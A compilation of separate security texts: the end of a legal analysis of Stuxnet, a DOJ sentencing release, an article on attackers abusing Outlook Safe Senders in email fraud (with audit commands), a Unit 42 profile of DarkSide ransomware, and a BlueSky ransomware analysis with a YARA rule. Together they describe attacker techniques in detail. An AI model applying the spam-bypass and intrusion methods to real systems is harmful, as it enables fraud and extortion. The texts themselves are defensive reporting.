Stuxnet does not enjoy presumptive legitimacy. Short of UN Security Council authorization or actions taken in self-defense—both of which would constitute lawful uses of force—there is no customary acceptance within the international community for damaging another state’s nuclear facilities.
Even so, it is worth considering the effect of existing Iranian sanctions upon this analysis. First, Iran cannot import or export nuclear-related materials or technology. If such Iranian-owned nuclear materials are discovered outside of Iran, they can be lawfully seized and destroyed. Second, prior to Stuxnet, Iran had been operating its centrifuges for several years in violation of multiple UN Security Council Resolutions.
On balance, the Schmitt Analysis suggests most states would characterize Stuxnet as a use of force. The worm was highly invasive, caused direct and measurable physical damage, lacked a clear presumption of legitimacy, and probably involved state support.
### Conclusion
Although Professor Schmitt’s analytic approach to characterizing cyber operations remains sound, the analysis of Stuxnet reveals several shortcomings with his model. These include severity of the consequences as a potentially determinative factor, attribution as a condition precedent to a use of force analysis, and failure to account for a victim state’s “non-position” toward a particular cyber operation. This analysis also reveals at least one additional factor states may consider when characterizing cyber operations—whether an attack appears to comply with LOAC.
More importantly, this analysis suggests the time has come to relax the model’s strict adherence to the Article 2(4) instrument-based paradigm. By tying his framework to Article 2(4), Professor Schmitt anticipated more consistent, predictable, and relatively objective characterizations of force in cyberspace. However, state practice over the last decade suggests states will treat Article 2(4) as just one of several factors to consider when characterizing cyber operations. As Professor Schmitt himself acknowledged, as state practice emerges, other considerations and normative approaches—such as greater emphasis on consequences—may come to dominate the analysis.
In light of recent events in Estonia, Georgia, and Iran, it appears that time has come. The Schmitt Analysis of Stuxnet also has implications for the broader debate over the use of force in cyberspace. For one thing, the lack of discussion over the legal implications of Stuxnet demonstrates that states are unlikely to reach consensus on what constitutes a cyber use of force any time soon. The lack of a discernable threshold also suggests that state-sponsored gray area cyber attacks are more likely. Consequently, policymakers and cyber practitioners must be prepared to operate in an ambiguous and contested legal environment while at the same time shaping new norms of acceptable state conduct. |
# Two Individuals Sentenced for Providing “Bulletproof Hosting” for Cybercriminals
Two Eastern European men were sentenced for providing “bulletproof hosting” services, which were used by cybercriminals between 2009 to 2015 to distribute malware and attack financial institutions and victims throughout the United States.
On June 28 and Oct. 20, Chief Judge Denise Page Hood of the U.S. District Court for the Eastern District of Michigan sentenced Pavel Stassi, 30, of Estonia, to 24 months in prison; and Aleksandr Skorodumov, 33, of Lithuania, to 48 months in prison, for their roles in the scheme.
According to court documents, Stassi and Skorodumov were members of a bulletproof hosting organization founded and led by two co-defendants, Aleksandr Grichishkin and Andrei Skvortsov, both 34 and of Russia. The group rented IP addresses, servers, and domains to cybercriminal clients who employed this technical infrastructure to disseminate malware used to gain access to victims’ computers, form botnets, and steal banking credentials for use in frauds. Malware hosted by the organization included Zeus, SpyEye, Citadel, and the Blackhole Exploit Kit, which attacked U.S. companies and financial institutions between 2009 and 2015 and caused or attempted to cause millions of dollars in losses to U.S. victims. The defendants also helped their clients evade detection by law enforcement and continue their crimes uninterrupted by monitoring sites used to blocklist technical infrastructure used for crime, moving “flagged” content to new infrastructure, and registering all such infrastructure under false or stolen identities.
“Cybercrime presents a serious and persistent threat to the United States, and these prosecutions send a clear message that ‘bulletproof hosters’ who purposely aid other cybercriminals are responsible, and will be held accountable, for the harms their criminal clients cause within our borders,” said Assistant Attorney General Kenneth A. Polite Jr. of the Justice Department’s Criminal Division.
“Given their international nature, and the anonymity of the internet, cybercrime investigations often take years,” said Acting U.S. Attorney Saima Mohsin for the Eastern District of Michigan. “They can require the resources of multiple law enforcement agencies, the cooperation of multiple governments, skilled interpreters, and time-consuming extradition procedures. The persistence and hard work of our law enforcement partners has led to these successful prosecutions and sends a message to cybercriminals that they will be brought to justice.”
“Over the course of many years, the defendants facilitated the transnational criminal activity of a vast network of cybercriminals throughout the world by providing them a safe-haven to anonymize their criminal activity,” said Special Agent in Charge Timothy Waters of the FBI’s Detroit Field Office. “This resulted in millions of dollars of losses to U.S. victims. Cybercriminals may believe they are beyond the reach of the FBI and our international partners, but today’s proceeding proves that anyone who facilitates or profits from criminal cyber activity will be brought to justice.”
According to court filings and statements made in connection with the defendants’ guilty pleas, Skorodumov was one of the organization’s lead systems administrators and, at some points, its only systems administrator. In this role, he configured and managed the clients’ domains and IP addresses, provided technical assistance to help clients optimize their malware and botnets, and monitored and responded to abuse notices. Stassi undertook various administrative tasks for the organization, including conducting and tracking online marketing to the organization’s criminal clientele and using stolen and/or false personal information to register webhosting and financial accounts used by the organization.
Stassi, Skorodumov, Grichishkin, and Skvortsov each pleaded guilty to one count of Racketeer Influenced and Corrupt Organizations (RICO) conspiracy. Grichishkin and Skvortsov are pending sentencing and face a maximum penalty of 20 years in prison. A federal district court judge will determine each sentence after considering the U.S. Sentencing Guidelines and other statutory factors.
The FBI investigated the case with critical assistance from law enforcement partners in Germany, Estonia, and the United Kingdom. Senior Counsel Louisa K. Marion of the Criminal Division’s Computer Crime and Intellectual Property Section and Assistant U.S. Attorney Patrick E. Corbett of the Eastern District of Michigan prosecuted the case. The Justice Department’s Office of International Affairs provided substantial assistance. |
# SCL -1: The Dangerous Side of Safe Senders
Stroz Friedberg is regularly called upon by clients to perform Business Email Compromise (BEC) investigations when their Microsoft 365® (“M365”) tenants are compromised by threat actors. In the past few months, Stroz Friedberg has observed threat actors leveraging Safe Senders, a feature built into Outlook®, to bypass spam filters and successfully deliver spoofed messages to a targeted user’s mailbox. These spoofed messages are altered to appear as if they originated from a specific email address, when the message was not actually sent from that address.
This article explores how the Safe Senders feature may be used legitimately, how it can be misused to create more advanced phishing emails, and how cybersecurity professionals can help to identify its illegitimate use. With the use of real-life scenarios and suggestions for targeted analysis, this article seeks to introduce cybersecurity professionals to this new technique and provide guidance on how to better recognize it in future incidents.
## Safe Senders Lists
Outlook Safe Senders is a feature that allows a user to add specific senders or domains to a list of senders whose emails “are never treated as junk email, regardless of the content of the message.” In other words, Safe Senders allows messages coming from specific addresses or domains to skip spam filtering and land directly into a user’s inbox. You may be familiar with this after having seen certain companies recommend that you add their address to your Safe Senders list. This has been seen as a more common practice among email marketers. When used legitimately, Safe Senders does allow a company to reach their customers more effectively. However, it can have significant security consequences when used illegitimately.
The ability to let messages bypass spam filtering can expose users to sophisticated phishing attacks that would otherwise have landed in their Junk folder. This does not mean that all messages from Safe Senders skip spam filtering; Microsoft documentation states that using Safe Senders “creates a high risk of attackers successfully delivering email to the Inbox that would otherwise be filtered; however, if a message from an entry in the user’s Safe Senders or Safe Domains lists is determined to be malware or high confidence phishing, the message will be filtered.” While high-confidence spam will still be filtered even if coming from a Safe Sender, a threat actor can easily adjust their strategy to ensure that their message does not get filtered as high-confidence spam. This has a couple notable implications for the security of M365.
First, it makes BEC more effective. It can allow a threat actor to deliver a spoofed message that appears to be from a trusted partner to a victim’s mailbox. Second, any changes made to a victim environment can be leveraged at a later point in time by the threat actor if not detected and remediated by the organization. Companies should audit Safe Senders lists and the similar functions described below, not only as a part of their incident response process, but also as a part of regular audits of their M365 tenant outside the context of an incident. Otherwise, a threat actor that is evicted can regain their access using these methods to send additional spoofed emails that bypass standard spam filtering.
Other methods of bypassing spam filters are listed in Microsoft documentation. These methods include adding entries to the tenant Allow/Block list, creating tenant-wide transport rules, adding IP addresses to the IP Allow List, and adding entries to the allowed sender/domain lists. These methods differ from adding to a user’s Safe Senders list because they require administrative permissions within the tenant, while Safe Senders lists are user-specific and only require access to a user’s mailbox.
## Standard BEC Attack Pattern
Standard BEC incidents typically follow a similar pattern. The use of Safe Senders allows threat actors to change this approach. The following scenario explains how this new technique may look to a cybersecurity professional investigating the incident and how it can change the attack pattern for threat actors performing Business Email Compromise.
### Safe Senders BEC Attack Pattern
Imagine you oversee the information security department at your company. You have been asked to lead an investigation into a fraudulent wire transfer initiated by someone in the accounting department. Everyone at your company has gone through multiple cybersecurity awareness trainings, so this comes as a surprise.
You start analyzing your company’s M365 tenant and the mailbox of the user who initiated the wire transfer. You find that the message relaying fraudulent wire transfer information had failed standard authorization checks but was still successfully delivered to the user’s mailbox. By all accounts, your spam filter should have caught this message. So how did the message reach the targeted user?
In this scenario, the threat actor used Safe Senders to functionally “allowlist” their spoofed sender address. The attack pattern of a Business Email Compromise leveraging Outlook Safe Senders looks like this:
From a threat actor’s perspective, the difference in attack pattern is obvious. However, a cybersecurity professional may need to perform deeper analysis to identify when a threat actor has leveraged Safe Senders to bolster their phishing attacks. The following sections describe sources of information that an examiner should use to determine the use of Safe Senders in their next BEC investigation.
## Email Header Analysis
When performing email header analysis on suspicious messages, analyze the following headers:
- Failed or unknown authentication checks on messages in the user’s inbox such as:
- dmarc=none or dmarc=fail
- spf=none or spf=fail
- dkim=none or dkim=fail
- compauth=fail
- Mismatched domains between smtp.mailfrom and header.from
- Mismatched X-Sender and Reply-To addresses
- X-MS-Exchange-Organization-SCL: -1
- A Spam Confidence Level (SCL) of -1 indicates that the message bypassed spam filtering
- X-Forefront-Antispam-Report: containing the values “SFV:SFE,” “SFV:SKA,” “SFV:SKI,” or “SFV:SKN”
Note that these header values may be present in legitimate emails, but given situational context they can also be an indication to investigate further.
## Unified Audit Log Analysis
To help identify the addition of items to the Safe Senders list when analyzing the Unified Audit Log, look for Set-MailboxJunkEmailConfiguration events. Stroz Friedberg’s testing has identified slight differences in how these events appear in the logs based on whether the Safe Senders list was modified using PowerShell or Outlook on the Web (OWA). When added via PowerShell, the logs showed only the new address. Additions to the Safe Senders list via OWA, however, contained the entire Safe Senders list with the new address at the beginning of the list.
### Auditing the current state of a tenant
To audit the current state of your M365 environment using PowerShell, use the following commands:
To view the Safe Senders and Domains for a given user, you can use the following Exchange Online PowerShell command:
```
(Get-MailboxJunkEmailConfiguration [UserID]).TrustedSendersAndDomains
```
To view the tenant Allow/Block list, you can use the following Exchange Online PowerShell command:
```
Get-TenantAllowBlockListItems
```
To view the organization-wide IP Allow list, you can use the following Exchange Online PowerShell command:
```
(Get-HostedConnectionFilterPolicy).IPAllowList
```
To view the allowed sender/domain list along with other organization-wide anti-spam policies, you can use the following Exchange Online PowerShell commands:
```
(Get-HostedContentFilterPolicy Default).AllowedSender
(Get-HostedContentFilterPolicy Default).AllowedSenderDomains
```
## Spoofed Messages from the User Perspective
Stroz Friedberg tested the following three versions of Outlook to observe how they render spoofed messages received from Safe Senders:
1. OWA
2. Outlook 2016
3. Outlook 2021
In OWA and Outlook 2021, Microsoft alerts the user when a message is coming from a spoofed sender address. However, when rendering this same message in Outlook 2016, Microsoft does not alert the user about the spoofed sender address. Those using an old version of Outlook will have a much harder time identifying spoofed messages. Organizations should both encourage and ensure that updates to relevant software are done in order to take advantage of the most recent security features.
Organizations should also establish process controls requiring out-of-band confirmation of changes to payment information. It is possible that using a third-party spam filter in addition to Microsoft’s built-in functionality may prevent messages from an address on the Safe Senders list from reaching a user’s mailbox.
Threat actors are constantly coming up with new ways to abuse existing features on trusted platforms to bolster their attacks — staying aware of these patterns will help you identify and stop them as soon as possible.
**Authors: John Ailes, Julia Paluch**
**December 16, 2022**
©Aon plc 2022 |
# DarkSide Ransomware Gang: An Overview
**By Ramarcus Baylor**
**May 12, 2021**
**Category:** Ransomware, Unit 42
**Tags:** DarkSide, DDoS, ransomware threat report
## Executive Summary
It took an attack on a major U.S. pipeline company, and the possibility of disruption in the delivery of gasoline and jet fuel supplies to a large part of the country, to show the world that ransomware attackers are not going to rest on their laurels after shaking down municipal governments, school districts, and hospitals. DarkSide became one of the world’s most well-known hacking groups after the FBI confirmed it is responsible for the highly publicized attack. When a shadowy group can sit halfway across the world and, with a few keystrokes, threaten fuel supplies on the U.S. Eastern Seaboard, then people do begin to take notice.
The impact of this attack is a reflection of the fact that ransomware operators are always on the move – improving, automating, and becoming more effective at targeting larger organizations. The average cyber ransom paid more than doubled in 2020 – to $312,493 – compared to 2019, according to the 2021 Unit 42 Ransomware Threat Report. So far in 2021, the average payment has nearly tripled compared to the previous year – to about $850,000.
DarkSide has helped boost those averages by constantly focusing on ways to optimize its business model in the short time it’s been active. Like other leading ransomware gangs, DarkSide recently embraced the Ransomware-as-a-Service (RaaS) model. It outsourced code development, infrastructure, and operations and turned to the dark web to recruit new staff. As a result, the group can now better focus on getting to know victims and targeting the most valuable types of data at each organization, so it can extract the largest-possible ransom and boost the return on investment in its criminal businesses.
The group started getting the attention of Unit 42 responders around October 2020. Since then, we’ve been finding its fingerprints in a growing number of cases. What makes DarkSide stand out is that the group has shown discipline we've traditionally only seen with nation-state actors – once the threat actors are in, they really dig in. That said, researchers have noted DarkSide is likely a criminal network operating out of Russia; no one has yet directly connected this to the Russian government.
It is interesting to note that back in November, one ransomware negotiation firm placed the DarkSide operation on an internal restricted list after it announced plans to host infrastructure in Iran – because Iran is under U.S. sanctions, facilitating payments to that location might run afoul of the law.
Wherever they may be, there are indications that DarkSide attackers are highly experienced and accomplished in mounting ransomware attacks. They clearly operate at the high end of the ransomware ecosystem, focusing on a smaller pool of victims from whom they can extract steep ransoms.
## Palo Alto Networks customers are protected from this threat by:
- **WildFire:** All known samples are identified as malware.
- **Cortex XDR with:**
- Indicators for DarkSide.
- Anti-Ransomware Module to detect DarkSide encryption behaviors.
- Local Analysis detection to detect DarkSide binaries.
- **Cortex XSOAR:** Cortex XSOAR’s ransomware content pack can immediately help incident response, threat intelligence, and SecOps teams to standardize and speed up post-intrusion response processes. This content pack automates most of the ransomware response steps, allowing the incident response and SecOps teams to add their guidance and input.
- **Next-Generation Firewalls:** DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in URL Filtering.
- **AutoFocus:** Tracking related activity using the DarkSide tag.
If you think you may have been impacted, please email [email protected] or call (855) 875-4631 to get in touch with the Unit 42 Incident Response team.
## Doubling and Tripling Their Pressure
The DarkSide group is aggressive in pressuring victims to pay. The threat actors don’t like to be ignored. If victims don’t respond within two or three days, they send threatening emails to employees. If that doesn’t work, they start calling senior executives on mobile phones. And then they might threaten to start contacting customers or the press. If that doesn’t work, they might launch DDoS to take down external websites.
DarkSide is one of a growing number of ransomware operators that we have seen push the boundaries of their trade to include these tactics, which we refer to as double and triple extortion. These aggressive techniques build on the pattern of a typical ransomware attack, in which files are encrypted and a ransom is demanded to decrypt them and restore access. Some victims have backed up their data and do not see a need to pay for decryption keys to restore access to corrupted systems. To prepare for that scenario, attackers also exfiltrate sensitive information and study the victim’s network so they can up the ante if a target refuses to pay. Then they threaten to release the data or launch a DDoS attack.
DarkSide even purports to operate under a “code of conduct,” seeking to position the group as a trustworthy security “partner.” When victims pay, the threat actors will do things to demonstrate goodwill including providing decryption keys or presenting evidence that appears to show they have deleted stolen data. When asked, they will sometimes even tell victims how they got in so security gaps can be closed.
## DarkSide Ransomware: Tactics, Techniques and Procedures
We have seen the following software and tools leveraged by the DarkSide group to gain access to the victims’ data:
- Legitimate remote monitoring and management (RMM) tools to maintain access into a victim’s network, such as AnyDesk and TeamViewer.
- Reconnaissance tools (ADRecon) to gather information about victims' Active Directory prior to ransomware encryption.
- A credential harvesting utility, Mimikatz, to dump password credentials.
- PowerShell to carry out objectives, such as to apply GPO to create a scheduled task to execute the ransomware.
- Password management utilities such as Dashlane and LastPass to gain access to additional credentials.
- Utilities such as SQLDumper.exe to target SQL Server.
- Victims’ internal messaging software to contact members of the IT staff.
- File transferring software Rclone to exfiltrate data to cloud sharing websites.
Not many groups target non-Windows based systems, but in early 2021, DarkSide introduced an ESXI version of their ransomware that targets VMware virtual machines (VMs), which many organizations use to leverage server virtualization to reduce operating costs and increase IT productivity.
Why does this matter? While we found that in many cases the client’s endpoint security did its job protecting Windows PCs from being encrypted, because the servers were heavily virtualized through VMware’s ESXI, the ESXI version of the ransomware made it possible for the DarkSide group to encrypt the virtual infrastructure. The threat actors then essentially shut down applications and services, such as file shares, DNS, and email, leaving the victims’ networks in a deteriorated state or, worse, not functional.
## What Can We Learn From This?
We’ve been noting for some time that ransomware attackers are becoming increasingly professionalized, outsourcing code development, infrastructure, and C2 operations, as well as operating RaaS. Many of them are organized enough to respond to media inquiries and operate victim hotlines.
As these threat actors continue to up their game, organizations need to follow best practices to safeguard their data and protect against groups such as the DarkSide ransomware gang. Organizations should also make sure to have an incident response plan in place in case of an attack. Unit 42 offers a Ransomware Readiness Assessment to help organizations get started on bolstering defenses.
## Palo Alto Networks customers are protected from this threat by:
- **WildFire:** All known samples are identified as malware.
- **Cortex XDR with:**
- Indicators for DarkSide.
- Anti-Ransomware Module to detect DarkSide encryption behaviors.
- Local Analysis detection to detect DarkSide binaries.
- **Cortex XSOAR:** Cortex XSOAR’s ransomware content pack can immediately help incident response, threat intelligence, and SecOps teams to standardize and speed up post-intrusion response processes. This content pack automates most of the ransomware response steps, allowing the incident response and SecOps teams to add their guidance and input.
- **Next-Generation Firewalls:** DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in URL Filtering.
- **AutoFocus:** Tracking related activity using the DarkSide tag.
## IOCs
Indicators associated with DarkSide are available on GitHub, have been published to the Unit 42 TAXII feed, and are viewable via the ATOM Viewer.
## Courses of Action
This section documents relevant tactics, techniques, and procedures (TTPs) used with DarkSide and maps them directly to Palo Alto Networks product(s) and service(s). It also further instructs customers on how to ensure their devices are configured correctly.
| Product / Service | Course of Action |
|-------------------|------------------|
| Initial Access, Lateral Movement, Command and Control, Execution, Exfiltration, Persistence, Collection, Privilege Escalation, Discovery, Defense Evasion | Exploit Public-Facing Application [T1190], External Remote Services [T1133], Remote Desktop Protocol [T1021.001], Web Protocols [T1071.001], Multi-hop Proxy [T1090.003], Valid Accounts [T1078], Phishing [T1566], PowerShell [T1059.001], Automated Exfiltration [T1020], Scheduled Task [T1053.005], Archive Collected Data [T1560], Automated Collection [T1119], Bypass User Account Control [T1548.002], Account Discovery [T1087], Modify Registry [T1112] |
| NGFW | Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone. Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist. Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists. Ensure that User-ID is only enabled for internal trusted interfaces. Ensure that 'Include/Exclude Networks' is used if User-ID is enabled. Ensure that the User-ID Agent has minimal permissions if User-ID is enabled. Ensure that the User-ID service account does not have interactive logon rights. Ensure remote access capabilities for the User-ID service account are forbidden. Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones. Set up File Blocking. Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured. Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS. Ensure that the Certificate used for Decryption is Trusted. |
| Threat Prevention | Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities. Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic. Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'. Ensure a secure antivirus profile is applied to all relevant security policies. Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats. Ensure DNS sinkholing is configured on all anti-spyware profiles in use. Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use. Ensure a secure Anti-Spyware profile is applied to all security policies permitting traffic to the Internet. Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions. Ensure that User Credential Submission uses the action of ‘block’ or ‘continue’ on the URL categories. |
| DNS Security | Enable DNS Security in Anti-Spyware profile. |
| URL Filtering | Ensure that URL Filtering is used. Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the <enterprise approved value> URL categories. Ensure that access to every URL is logged. Ensure all HTTP Header Logging options are enabled. Ensure secure URL Filtering is enabled for all security policies allowing traffic to the internet. |
| WildFire | Ensure that WildFire file size upload limits are maximized. Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles. Ensure a WildFire Analysis profile is enabled for all security policies. Ensure forwarding of decrypted content to WildFire is enabled. Ensure all WildFire session information settings are enabled. Ensure alerts are enabled for malicious files detected by WildFire. Ensure 'WildFire Update Schedule' is set to download and install updates every minute. |
| Cortex XSOAR | Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint. Deploy XSOAR Playbook - Access Investigation Playbook. Deploy XSOAR Playbook - Impossible Traveler. Deploy XSOAR Playbook - Block Account Generic. Deploy XSOAR Playbook - Block URL. Deploy XSOAR Playbook - Palo Alto Networks - Hunting And Threat Detection. Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators. Deploy XSOAR Playbook - Phishing Investigation - Generic V2. Deploy XSOAR Playbook - Endpoint Malware Investigation. |
| Cortex XDR | Configure Host Firewall Profile. Enable Anti-Exploit Protection. Enable Anti-Malware Protection. Look for the following BIOCs alerts to detect activity: Cortex XDR Analytics - Possible LSASS memory dump, Cortex XDR Analytics - Unsigned process executed as a scheduled task, Cortex XDR Analytics - Connection to a TOR anonymization proxy, Cortex XDR Analytics - Dumping Registry hives with passwords. |
| Discovery | File and Directory Discovery [T1083], Process Discovery [T1057]. |
| Impact | Service Stop [T1489], Inhibit System Recovery [T1490], Data Encrypted for Impact [T1486]. |
## Table 1. Courses of Action for DarkSide ransomware.
These capabilities are part of the NGFW security subscriptions service. These analytic detectors will trigger automatically for Cortex XDR Pro customers. |
# Dissecting BlueSky Ransomware Payload
**September 30, 2022**
## Introduction
BlueSky is a ransomware first spotted in May 2022 and gained the attention of threat researchers for two main reasons: the group behind the ransomware doesn’t adopt the double-extortion model, and their targets include normal users, as the ransomware has been discovered inside cracks of programs and video games. For these reasons, we at Yoroi malware ZLab decided to keep track of the threat, following the distribution of the samples, and provide a technical analysis of the ransomware payload.
## Technical Analysis
- **Hash:** 9e302bb7d1031c0b2a4ad6ec955e7d2c0ab9c0d18d56132029c4c6198b91384f
- **Threat:** Ransomware
- **Brief Description:** BlueSky Ransomware
- **SSDEEP:** 1536:G+5geBR2Q+a8M124Zl2i5SADBDg8trv4t9MBY5ySvV:GDeBgQ+a8M12Y2i59hrvWMBGvV
### The API Loading Scheme
The sample starts by walking the PEB (Process Environment Block) to dynamically load the APIs. It is a common technique to not statically show them in the import table. It walks one of the three linked lists located in the PEB_LDR_DATA, such as InLoadOrderModuleList. In this way, the sample can enumerate the modules contained inside the linked list and compare them with the hashed names hidden inside the code to correctly import the desired ones. In this case, the APIs are hashed with the djb2 algorithm.
### The Obfuscated Stack Strings
Other critical strings are obfuscated through the stackstrings method and a simple routine to encrypt them. However, the algorithm is easy to revert, and we developed a simple script to decrypt the stackstrings:
```python
string = [123, 82, 90, 123, 45, 56, 32, 88, 94]
decrypted = ""
for i in string:
decrypted += chr((34 * (i - 94) % 127 + 127) % 127)
print(decrypted)
```
### Anti-Debug Technique
Once resolved the first functions, the sample calls `NtSetInformationThread` with `ThreadHideFromDebugger`, hiding the thread. If any breakpoint is placed, it causes the crash of the process.
### Privilege Escalation
While analyzing the sample, we found similarities with Conti Ransomware in how the strings are obfuscated and some other routines, like how BlueSky removes the shadow copies through the WMI COM Interface. It abuses the “ICMLuaUtil COM Interface (3E5FC7F9-9A51-4367-9063-A120244FBEC7)”. This technique is well-known and publicly documented, adopted in both intrusion and malware development operations.
The sample calls `RtlAdjustPrivilege` API with the token “SeDebugPrivilege” to gain the privilege to arbitrarily manipulate every file and process.
### Generating the Victim ID
BlueSky generates the victim ID by hashing with MD5 the following system info:
- MachineGuid (4 Bytes)
- DigitalProductId
- InstallDate
- C:\ Serial Number
Then the hash is passed to a custom routine. The sample creates a mutex “Global\\{generated_id}”, in this case being “Global\1580B4213F8F3E90E4E0E3CD1F6FAC52”.
### The Encryption Routine
The first operation of the sample is to acquire a handle to the cryptographic provider `PROV_RSA_FULL` by calling `CryptAcquireContextA`. BlueSky stores the information related to the encryption in the registry key “HKCU\SOFTWARE\1580B4213F8F3E90E4E0E3CD1F6FAC52”. To store the recovery information, it uses “ChaCha20 + Curve25519 + RC4 (on RECOVERYBLOB)”, while “ChaCha20 + Curve25519” is used for the encryption.
Below is the list of excluded files inside the code:
- **Extensions:** ldf, scr, icl, 386, cmd, ani, adv, theme, msi, rtp, diagcfg, msstyles, bin, hlp, shs, drv, wpx, bat, rom, msc, lnk, cab, spl, ps1, msu, ics, key, msp, com, sys, diagpkg, nls, diagcab, ico, lock, ocx, mpa, cur, cpl, mod, hta, exe, ini, icns, prf, dll, bluesky, nomedia, idx
- **Directories:** $recycle.bin, $windows.~bt, $windows.~ws, boot, windows, windows.old, system volume information, perflogs, programdata, program files, program files (x86), all users, appdata, tor browser
- **Filenames:** # decrypt files bluesky #.txt, # decrypt files bluesky #.html, ntuser.dat, iconcache.db, ntuser.dat.log, bootsect.bak, autorun.inf, bootmgr, ntldr, thumbs.db
### Exception Handling and Other Features
The sample implements interesting exception handling features to avoid system crashes. Before proceeding to encryption, BlueSky checks if after calling `CreateFileW`, the `LastErrorValue` is `ERROR_SHARING_VIOLATION`. If true, the sample calls `NtQueryInformationFile` retrieving the `FileProcessIdsUsingFileInformation`, which contains a list of the PIDs using the file. If the PID isn’t equal to itself or the PID of `explorer.exe`, it calls `NtQueryInformationProcess` with `ProcessInformationClass` set to 29 (ProcessBreakOnTermination) to retrieve a value indicating whether the process is considered critical. In this case, the malware skips that file and continues encrypting others.
The sample can prevent the system from entering sleep or turning off the display by calling `SetThreadExecutionState` to `ES_CONTINUOUS`.
At the end of the encryption, the ransom note points to the blog of the attackers.
## Conclusion
BlueSky ransomware is proof that even today, cyber criminals use basic and highly effective social engineering techniques. When looking for cracked software, we must know that there is always a price, and in this case, it’s a ransomware with a high ransom. It is necessary to sensitize people to avoid installing cracked software, not only inside the company perimeter but also on home devices. This is a simple but effective preventive measure to defend against similar threats. The attention for emerging threats is one of the core activities of Yoroi, and we believe that BlueSky needs to be observed closely.
## Yara Rules
```yara
rule bluesky_ransomware
{
meta:
author = "Yoroi Malware ZLab"
description = "Rule for BlueSky Ransomware"
last_updated = "2022-09-14"
tlp = "WHITE"
category = "informational"
hash = "9e302bb7d1031c0b2a4ad6ec955e7d2c0ab9c0d18d56132029c4c6198b91384f"
strings:
$1 = {55 8b ec 83 ec ?? 56 e8 ?? ?? ?? ?? 85 c0 0f 84 ?? ?? ?? ?? 0f 10 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 0f 11 4? ?? 68 ?? ?? ?? ?? 0f 10 05 ?? ?? ?? ?? c7 4? ?? ?? ?? ?? ?? c7 4? ?? ?? ?? ?? 0f 11 4? ?? e8 ?? ?? ?? ?? 0f 10 4? ?? 83 c4 ?? 8b d0 8d 4? ?? 50 83 ec ?? 8b cc 6a ?? 6a ?? 83 ec ?? 0f 11 01 8b c4 0f 10 4? ?? 0f 11 00 ff d2 85 c0 0f 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 0f 10 4? ?? 8b 4? ?? 83 ec ?? 8b c4 83 ec ?? 8b 11 0f 11 00 8b c4 83 ec ?? 0f 10 4? ?? 0f 11 00 8b c4 83 ec ?? 0f 10 4? ?? 0f 11 00 8b c4 0f 10 4? ?? 51 0f 11 00 ff 52 28 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8b f0 e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? 8d 4? ?? 51 ff d0 85 f6 78 ?? 8b 4? ?? 8d 5? ?? 52 68 ?? ?? ?? ?? 50 8b 08 ff 5? ?? 85 c0 78 ?? 8b 4? ?? 6a ?? ff 7? ?? 8b 08 50 ff 5? ?? 8b 4? ?? 85 c9 74 ?? 8b 01 51 ff 5? ?? 8b 4? ?? 85 c9 74 ?? 8b 01 51 ff 50 08 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 ?? ff d0 5e 8b e5 5d c3}
condition:
uint16(0) == 0x5A4D and $1
}
```
This blog post was authored by Luigi Martire, Carmelo Ragusa of Yoroi Malware ZLAB. |
# Analyzing Modern Malware Techniques - Part 1 - Malware
## 0x00sec - The Home of the Hacker
### Init Discord Partners |
# Allied Universal Breached by Maze Ransomware, Stolen Data Leaked
**By Lawrence Abrams**
**November 21, 2019**
After a deadline was missed for receiving a ransom payment, the group behind Maze Ransomware has published almost 700 MB worth of data and files stolen from security staffing firm Allied Universal. This is reportedly only 10% of the total files stolen, with the rest to be released if payment is not made.
With this escalated attack, victims now need to be concerned not only about recovering their encrypted files but also about the potential public leak of their stolen unencrypted files.
Maze is a ransomware infection that has been operating for some time but has become increasingly active since May 2019. The affiliates of Maze are becoming more known, with ProofPoint identifying one as TA2101 after observing numerous malspam campaigns impersonating government agencies.
Last Friday at 6:35 PM EST, I received an email from a known address utilized by the Maze Ransomware. This email was signed by the 'Maze Crew' and detailed their breach of Allied Universal, a security staffing company employing approximately 200,000 people with revenues exceeding $7 billion USD.
